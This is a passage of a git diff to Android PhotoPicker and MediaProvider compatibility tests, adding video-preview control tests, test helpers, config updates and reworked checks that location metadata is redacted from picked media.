["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml index 8dba7414c5c..6b9c8e902fe 100644 --- a/tests/MediaProviderTranscode/AndroidTest.xml +++ b/tests/MediaProviderTranscode/AndroidTest.xml @@ -19,6 +19,11 @@ <option name="install-arg" value="-g" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="test-suite-tag" value="apct" /> <option name="test-suite-tag" value="cts" /> <option name="test-tag" value="MediaProviderTranscodeTests" /> @@ -32,4 +37,8 @@ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" /> <option name="hidden-api-checks" value="false"/> </test> + + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> + <option name="mainline-module-package-name" value="com.google.android.mediaprovider" /> + </object> </configuration> diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp index 37b049b36c2..5a9fc331708 100644 --- a/tests/PhotoPicker/Android.bp +++ b/tests/PhotoPicker/Android.bp @@ -22,7 +22,7 @@ android_test { test_config: "AndroidTest.xml", srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",], compile_multilib: "both", - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: ["general-tests", "mts-mediaprovider", "cts"], sdk_version: "core_current", min_sdk_version: "30", libs: [ diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml index dbd1bc41e5c..d0bf7973c0b 100644 --- a/tests/PhotoPicker/AndroidTest.xml +++ b/tests/PhotoPicker/AndroidTest.xml @@ -20,9 +20,14 @@ <option name="test-file-name" value="CtsPhotoPickerTest.apk" /> </target_preparer> <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer"> - <option name="force-root" value="false" /> + <option name="force-root" value="true" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="test-suite-tag" value="cts" /> <option name="test-tag" value="PhotoPickerTests" /> <!-- Instant apps cannot access external storage --> diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING new file mode 100644 index 00000000000..f48e90cf2a3 --- /dev/null +++ b/tests/PhotoPicker/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "presubmit": [ + { + "name": "CtsPhotoPickerTest" + } + ] +} diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4 Binary files differnew file mode 100644 index 00000000000..ab95ac07dd3 --- /dev/null +++ b/tests/PhotoPicker/res/raw/test_video.mp4 diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4 Binary files differindex e83c61db02f..9b38f0e8e7d 100644 --- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 +++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4 diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java index 49a1acbd772..5873feed179 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java @@ -25,6 +25,8 @@ import android.provider.DeviceConfig; import androidx.test.InstrumentationRegistry; import androidx.test.uiautomator.UiDevice; +import com.android.modules.utils.build.SdkLevel; + import org.junit.Before; /** @@ -41,6 +43,7 @@ public class PhotoPickerBaseTest { @Before public void setUp() throws Exception { final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + mDevice = UiDevice.getInstance(inst); enablePhotoPickerFlag(inst); @@ -49,7 +52,6 @@ public class PhotoPickerBaseTest { intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Wake up the device and dismiss the keyguard before the test starts - mDevice = UiDevice.getInstance(inst); mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP"); mDevice.executeShellCommand("wm dismiss-keyguard"); @@ -60,13 +62,17 @@ public class PhotoPickerBaseTest { mDevice.waitForIdle(); } - private void enablePhotoPickerFlag(Instrumentation inst) { - inst.getUiAutomation().adoptShellPermissionIdentity( - Manifest.permission.WRITE_DEVICE_CONFIG); - DeviceConfig.setProperty( - DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT, - "picker_intent_enabled" /* name */, - "true" /* value */, - false /* makeDefault */); + private void enablePhotoPickerFlag(Instrumentation inst) throws Exception { + if (SdkLevel.isAtLeastS()) { + inst.getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.WRITE_DEVICE_CONFIG); + DeviceConfig.setProperty( + DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT, + "picker_intent_enabled" /* name */, + "true" /* value */, + false /* makeDefault */); + } else { + mDevice.executeShellCommand("setprop persist.sys.storage_picker_enabled true"); + } } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java index 10587786202..c05d22e2d46 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java @@ -31,7 +31,6 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; -import androidx.test.filters.SdkSuppress; import androidx.test.uiautomator.UiObject; import com.android.bedstead.harrier.BedsteadJUnit4; @@ -53,7 +52,6 @@ import java.util.List; * Photo Picker Device only tests for cross profile interaction flows. */ @RunWith(BedsteadJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState(); @@ -70,7 +68,6 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @Test @RequireRunOnWorkProfile - @Ignore("Enable after b/201323670 is fixed") public void testWorkApp_canAccessPersonalProfileContents() throws Exception { final int imageCount = 2; createImages(imageCount, sDeviceState.primaryUser().id(), mUriList); @@ -109,7 +106,7 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @Test @EnsureHasWorkProfile - @Ignore("Enable after b/201323670 is fixed") + @Ignore("Enable after b/216475844 is fixed") public void testPersonalApp_canAccessWorkProfileContents() throws Exception { final int imageCount = 2; createImages(imageCount, sDeviceState.workProfile().id(), mUriList); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java index 761511abf87..d02fa42a453 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java @@ -19,13 +19,15 @@ package android.photopicker.cts; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; -import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; +import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSelectButton; import static com.google.common.truth.Truth.assertThat; @@ -37,7 +39,6 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; -import androidx.test.filters.SdkSuppress; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiSelector; @@ -53,7 +54,6 @@ import java.util.List; * Photo Picker Device only tests for common flows. */ @RunWith(AndroidJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerTest extends PhotoPickerBaseTest { private List<Uri> mUriList = new ArrayList<>(); @@ -74,8 +74,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mActivity.startActivityForResult(intent, REQUEST_CODE); final UiObject item = findItemList(itemCount).get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(item); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -95,8 +94,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mDevice.waitForIdle(); final UiObject addButton = findPreviewAddOrSelectButton(); - addButton.click(); - mDevice.waitForIdle(); + assertThat(addButton.waitForExists(1000)).isTrue(); + clickAndWait(addButton); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -136,9 +135,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(imageCount); // Select maxCount + 1 item for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } UiObject snackbarTextView = mDevice.findObject(new UiSelector().text( @@ -149,9 +146,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertWithMessage("Timed out waiting for snackbar to disappear").that( snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue(); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -170,9 +165,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); // Select 1 item - final UiObject item = itemList.get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -192,14 +185,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -213,39 +202,39 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_longPress() throws Exception { - final int imageCount = 3; - createImages(imageCount, mContext.getUserId(), mUriList); + final int videoCount = 3; + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.setType("video/*"); mActivity.startActivityForResult(intent, REQUEST_CODE); - final List<UiObject> itemList = findItemList(imageCount); + final List<UiObject> itemList = findItemList(videoCount); final int itemCount = itemList.size(); - assertThat(itemCount).isEqualTo(imageCount); + assertThat(itemCount).isEqualTo(videoCount); // Select one item from Photo grid - itemList.get(0).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); + // Preview the item UiObject item = itemList.get(1); item.longClick(); mDevice.waitForIdle(); + final UiObject addOrSelectButton = findPreviewAddOrSelectButton(); + assertWithMessage("Timed out waiting for AddOrSelectButton to appear") + .that(addOrSelectButton.waitForExists(1000)).isTrue(); + // Select the item from Preview - final UiObject selectButton = findPreviewAddOrSelectButton(); - selectButton.click(); - mDevice.waitForIdle(); + clickAndWait(addOrSelectButton); mDevice.pressBack(); // Select one more item from Photo grid - itemList.get(2).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(2)); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); // Verify that all 3 items are returned final ClipData clipData = mActivity.getResult().data.getClipData(); @@ -271,31 +260,21 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject viewSelectedButton = findViewSelectedButton(); - viewSelectedButton.click(); - mDevice.waitForIdle(); + clickAndWait(findViewSelectedButton()); // Swipe left three times - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); + swipeLeftAndWait(); + swipeLeftAndWait(); + swipeLeftAndWait(); // Deselect one item - final UiObject selectCheckButton = findPreviewSelectCheckButton(); - selectCheckButton.click(); - mDevice.waitForIdle(); + clickAndWait(findPreviewSelectCheckButton()); - final UiObject addButton = findPreviewAddOrSelectButton(); - addButton.click(); - mDevice.waitForIdle(); + // Return selected items + clickAndWait(findPreviewAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -308,11 +287,145 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } @Test + public void testMultiSelect_PreviewVideoPlayPause() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 4); + + // Check Play/Pause in first video + testVideoPreviewPlayPause(); + + // Move to second video + swipeLeftAndWait(); + // Check Play/Pause in second video + testVideoPreviewPlayPause(); + + // Move to fourth video + swipeLeftAndWait(); + swipeLeftAndWait(); + // Check Play/Pause in fourth video + testVideoPreviewPlayPause(); + + final UiObject addButton = findPreviewAddButton(); + addButton.click(); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_PreviewVideoMuteButton() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 4); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + final UiObject playerView = findPlayerView(); + + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + + // Test 1: Initial state of the mute Button + // Check that initial state of mute button is `selected`, i.e., volume off + assertThat(muteButton.isSelected()).isTrue(); + + // Test 2: Click Mute Button + // Click to unmute the audio + clickAndWait(muteButton); + // Check that mute button state is `not selected`, i.e., it shows `volume up` icon + assertThat(muteButton.isSelected()).isFalse(); + // Click on the muteButton and check that mute button status is now `selected` + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isTrue(); + + // Test 3: Swipe resumes mute state, with state of mute button = `not selected` + // Click muteButton again to check the next video resumes the previous video's mute state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + // check that next video resumed previous video's mute state + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + // Test 4: Swipe resumes mute state, with state of the button = `selected` + // Click muteButton again to check the next video resumes the previous video's mute state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isTrue(); + // Swipe to next page and check that muteButton is selected + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isTrue(); + + // Test 5: Next preview resumes mute state + // Click muteButton again to check if next Preview launch resumes the muteButton state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + // Go back and launch preview again + mDevice.pressBack(); + // set-up and wait for player controls to be sticky + clickAndWait(findViewSelectedButton()); + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + clickAndWait(findPreviewAddButton()); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_PreviewVideoControlsVisibility() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 3); + + mDevice.waitForIdle(); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + // Check that the player controls are visible + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Check that buttons auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + final UiObject playerView = findPlayerView(); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Wait for 1s and check that controls are still visible + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView and check that controls are no longer visible. Don't click in + // the center, clicking in the center may pause the video. + playerView.clickBottomRight(); + mDevice.waitForIdle(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Swipe left and check that controls are not visible + swipeLeftAndWait(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Click on the StyledPlayerView and check that controls appear + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Swipe left to check that controls are now visible on swipe + swipeLeftAndWait(); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Check that the player controls are auto hidden in 1s + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + final UiObject addButton = findPreviewAddButton(); + addButton.click(); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test public void testMimeTypeFilter() throws Exception { final int videoCount = 2; - createVideos(videoCount, mContext.getUserId(), mUriList); + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final int imageCount = 1; createImages(imageCount, mContext.getUserId(), mUriList); + final String mimeType = "video/dng"; final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); @@ -326,14 +439,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isAtLeast(videoCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -346,6 +455,94 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } } + private void testVideoPreviewPlayPause() throws Exception { + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + + // Wait for buttons to auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView to make the video controls visible + clickAndWait(findPlayerView()); + + // PlayPause button is now pause button, click the button to pause the video. + clickAndWait(playPauseButton); + + // Wait for 1s and check that play button is not auto hidden + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // PlayPause button is now play button, click the button to play the video. + clickAndWait(playPauseButton); + // Check that pause button auto-hides in 1s. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + } + + private void launchPreviewMultipleWithVideos(int videoCount) throws Exception { + createVideos(videoCount, mContext.getUserId(), mUriList); + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.setType("video/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + final List<UiObject> itemList = findItemList(videoCount); + final int itemCount = itemList.size(); + + assertThat(itemCount).isEqualTo(videoCount); + + for (int i = 0; i < itemCount; i++) { + clickAndWait(itemList.get(i)); + } + + clickAndWait(findViewSelectedButton()); + + // Wait for playback to start. This is needed in some devices where playback + // buffering -> ready state takes around 10s. + final long playbackStartTimeout = 10000; + (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout); + } + + private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton, + UiObject muteButton) throws Exception { + // Check that buttons auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + } + + private void assertPlayerControlsVisible(UiObject playPauseButton, UiObject muteButton) { + assertVisible(playPauseButton, "Expected play/pause button to be visible"); + assertVisible(muteButton, "Expected mute button to be visible"); + } + + private void assertPlayerControlsHidden(UiObject playPauseButton, UiObject muteButton) { + assertHidden(playPauseButton, "Expected play/pause button to be hidden"); + assertHidden(muteButton, "Expected mute button to be hidden"); + } + + private void assertPlayerControlsAutoHide(UiObject playPauseButton, UiObject muteButton) { + // These buttons should auto hide in 1 second after the video playback start. Since we can't + // identify the video playback start time, we wait for 2 seconds instead. + assertWithMessage("Expected play/pause button to auto hide in 2s") + .that(playPauseButton.waitUntilGone(2000)).isTrue(); + assertHidden(muteButton, "Expected mute button to hide after 2s"); + } + + private void assertPlayerControlsDontAutoHide(UiObject playPauseButton, UiObject muteButton) { + assertWithMessage("Expected play/pause button to not auto hide in 1s") + .that(playPauseButton.waitUntilGone(1100)).isFalse(); + assertVisible(muteButton, "Expected mute button to be still visible after 1s"); + } + + private void assertVisible(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isTrue(); + } + + private void assertHidden(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isFalse(); + } + private static UiObject findViewSelectedButton() { return new UiObject(new UiSelector().resourceIdMatches( REGEX_PACKAGE_NAME + ":id/button_view_selected")); @@ -356,9 +553,36 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { REGEX_PACKAGE_NAME + ":id/preview_select_check_button")); } - private void swipeLeft() { + + private static UiObject findPlayerView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_player_view")); + } + + private static UiObject findMuteButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_mute")); + } + + private static UiObject findPlayPauseButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/exo_play_pause")); + } + + private static UiObject findPreviewVideoImageView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_video_image")); + } + + private void clickAndWait(UiObject uiObject) throws Exception { + uiObject.click(); + mDevice.waitForIdle(); + } + + private void swipeLeftAndWait() { final int width = mDevice.getDisplayWidth(); final int height = mDevice.getDisplayHeight(); - mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10); + mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 20); + mDevice.waitForIdle(); } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java index 28380f9a094..d9ff84bed99 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java @@ -16,9 +16,8 @@ package android.photopicker.cts.util; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.DISPLAY_NAME_PREFIX; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO; +import static android.os.SystemProperties.getBoolean; +import static android.provider.MediaStore.Files.FileColumns; import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; @@ -32,8 +31,6 @@ import android.media.ExifInterface; import android.net.Uri; import android.os.FileUtils; import android.os.ParcelFileDescriptor; -import android.provider.MediaStore; -import android.util.Log; import androidx.test.InstrumentationRegistry; @@ -65,57 +62,50 @@ public class PhotoPickerAssertionsUtils { public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception { assertThat(uri).isNotNull(); - final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE, - MediaStore.Files.FileColumns.MEDIA_TYPE}; + // TODO(b/205291616): Replace FileColumns.MIME_TYPE with PickerMediaColumns.MIME_TYPE + final String[] projection = new String[]{ FileColumns.MIME_TYPE }; final Context context = InstrumentationRegistry.getTargetContext(); final ContentResolver resolver = context.getContentResolver(); - final Cursor c = resolver.query(uri, projection, null, null); - assertThat(c).isNotNull(); - assertThat(c.moveToFirst()).isTrue(); - - boolean canCheckRedacted = false; - // If the file is inserted by this test case, we can check the redaction. - // To avoid checking the redaction on the other media file. - if (c.getString(0).startsWith(DISPLAY_NAME_PREFIX)) { - canCheckRedacted = true; - } else { - Log.d(TAG, uri + " is not the test file we expected, don't check the redaction"); - } - - final int mediaType = c.getInt(1); - switch (mediaType) { - case MEDIA_TYPE_IMAGE: - assertImageRedactedReadOnlyAccess(uri, canCheckRedacted, resolver); - break; - case MEDIA_TYPE_VIDEO: - assertVideoRedactedReadOnlyAccess(uri, canCheckRedacted, resolver); - break; - default: - fail("The media type is not as expected: " + mediaType); - } - } + try (Cursor c = resolver.query(uri, projection, null, null)) { + assertThat(c).isNotNull(); + assertThat(c.moveToFirst()).isTrue(); + + final String mimeType; + if (getBoolean("sys.photopicker.pickerdb.enabled", true)) { + // TODO(b/205291616): Replace FileColumns.MIME_TYPE with + // PickerMediaColumns.MIME_TYPE + mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE)); + } else { + mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE)); + } - private static void assertVideoRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted, - ContentResolver resolver) throws Exception { - if (shouldCheckRedacted) { - // The location is redacted - try (InputStream in = resolver.openInputStream(uri); - ByteArrayOutputStream out = new ByteArrayOutputStream()) { - FileUtils.copy(in, out); - byte[] bytes = out.toByteArray(); - byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197); - String xmp = new String(xmpBytes); - assertWithMessage("Failed to redact XMP longitude") - .that(xmp.contains("10,41.751000E")).isFalse(); - assertWithMessage("Failed to redact XMP latitude") - .that(xmp.contains("53,50.070500N")).isFalse(); - assertWithMessage("Redacted non-location XMP") - .that(xmp.contains("13166/7763")).isTrue(); + if (mimeType.startsWith("image")) { + assertImageRedactedReadOnlyAccess(uri, resolver); + } else if (mimeType.startsWith("video")) { + assertVideoRedactedReadOnlyAccess(uri, resolver); + } else { + fail("The mime type is not as expected: " + mimeType); } } + } - try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) { - // this should pass + private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver) + throws Exception { + // The location is redacted + // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for + // test_video_dng.mp4 + try (InputStream in = resolver.openInputStream(uri); + ByteArrayOutputStream out = new ByteArrayOutputStream()) { + FileUtils.copy(in, out); + byte[] bytes = out.toByteArray(); + byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197); + String xmp = new String(xmpBytes); + assertWithMessage("Failed to redact XMP longitude") + .that(xmp.contains("10,41.751000E")).isFalse(); + assertWithMessage("Failed to redact XMP latitude") + .that(xmp.contains("53,50.070500N")).isFalse(); + assertWithMessage("Redacted non-location XMP") + .that(xmp.contains("13166/7763")).isTrue(); } // assert no write access @@ -125,31 +115,25 @@ public class PhotoPickerAssertionsUtils { } } - private static void assertImageRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted, - ContentResolver resolver) throws Exception { - if (shouldCheckRedacted) { - // The location is redacted - try (InputStream is = resolver.openInputStream(uri)) { - final ExifInterface exif = new ExifInterface(is); - final float[] latLong = new float[2]; - exif.getLatLong(latLong); - assertWithMessage("Failed to redact latitude") - .that(latLong[0]).isWithin(0.001f).of(0); - assertWithMessage("Failed to redact longitude") - .that(latLong[1]).isWithin(0.001f).of(0); - - String xmp = exif.getAttribute(ExifInterface.TAG_XMP); - assertWithMessage("Failed to redact XMP longitude") - .that(xmp.contains("10,41.751000E")).isFalse(); - assertWithMessage("Failed to redact XMP latitude") - .that(xmp.contains("53,50.070500N")).isFalse(); - assertWithMessage("Redacted non-location XMP") - .that(xmp.contains("LensDefaults")).isTrue(); - } - } - - try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) { - // this should pass + private static void assertImageRedactedReadOnlyAccess(Uri uri, ContentResolver resolver) + throws Exception { + // The location is redacted + try (InputStream is = resolver.openInputStream(uri)) { + final ExifInterface exif = new ExifInterface(is); + final float[] latLong = new float[2]; + exif.getLatLong(latLong); + assertWithMessage("Failed to redact latitude") + .that(latLong[0]).isWithin(0.001f).of(0); + assertWithMessage("Failed to redact longitude") + .that(latLong[1]).isWithin(0.001f).of(0); + + String xmp = exif.getAttribute(ExifInterface.TAG_XMP); + assertWithMessage("Failed to redact XMP longitude") + .that(xmp.contains("10,41.751000E")).isFalse(); + assertWithMessage("Failed to redact XMP latitude") + .that(xmp.contains("53,50.070500N")).isFalse(); + assertWithMessage("Redacted non-location XMP") + .that(xmp.contains("LensDefaults")).isTrue(); } // assert no write access diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java index 37a44f99915..8103b70f6cd 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java @@ -49,6 +49,15 @@ public class PhotoPickerFilesUtils { } } + public static void createDNGVideos(int 